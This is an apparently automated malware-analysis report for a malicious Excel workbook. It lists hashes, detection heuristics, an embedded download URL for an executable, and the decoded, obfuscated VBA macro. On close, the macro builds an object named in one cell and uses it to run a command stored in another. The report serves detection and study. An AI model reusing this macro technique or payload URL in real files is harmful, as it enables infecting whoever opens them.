Office (OOXML) malware analysis — malicious · 599a7cdd72a2c0eb

MALICIOUS

Office (OOXML)

398.2 KB First seen: 2020-11-05

MD5: 2f745666fc1fbe1ddf108969193c19ac SHA-1: 3670af0beb2b997e59ed51a2d79082fa77f021f4 SHA-256: 599a7cdd72a2c0ebf60c3604c89b75ee7294e8cf532ee3e3abb4f7af070f3215

222 Risk Score

Heuristics 5

ClamAV: Xls.Malware.Sagent-10035294-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Xls.Malware.Sagent-10035294-0
LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMAND

Extracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
VBA project inside OOXML medium 1 related finding OOXML_VBA

Document contains a VBA project — VBA macros present
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
Matched line in script
```
Set xmaqpkhwqoyfeyvampgizvtbf  = CreateObject(Range("A4").Value)
```
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://www.aquarefinery.com/xlsf.exe In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source from OOXML)	1310 bytes
SHA-256: `1ccf59b74396b88c0f47dce23a10626b9ed95f999c110a1a201daa886cb3cf15`
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "ThisWorkbook" Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True Private Sub Workbook_BeforeClose(Cancel As Boolean) Range("A1:J15").Select Selection.Font.Bold = True Selection.Font.Italic = True Selection.Font.Underline = xlUnderlineStyleSingle iwadbpwgfcgdqcxeicuitxltd = Range("A3").Value With Selection .HorizontalAlignment = xlCenter .VerticalAlignment = xlBottom .WrapText = False .Orientation = 0 .AddIndent = False .IndentLevel = 0 .ShrinkToFit = False .ReadingOrder = xlContext .MergeCells = False End With Range("M5").Select Set xmaqpkhwqoyfeyvampgizvtbf = CreateObject(Range("A4").Value) Dim pmxcwvfhzlwsujocmvyjzfebm pmxcwvfhzlwsujocmvyjzfebm = xmaqpkhwqoyfeyvampgizvtbf.Create(iwadbpwgfcgdqcxeicuitxltd) End Sub Attribute VB_Name = "ymagjpydhksyvbhwnltntnmbr" Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = False Attribute VB_TemplateDerived = False Attribute VB_Customizable = True
`vbaProject_00.bin`	vba-project	OOXML VBA project: xl/vbaProject.bin	5120 bytes
SHA-256: `3e931bbc0b7ebe3ec5c719fd594dac54ee3397c5c6a979ff41f4a5e1da1d3091`
Detection ClamAV: Xls.Malware.Sagent-10035294-0 Obfuscation or payload: unlikely

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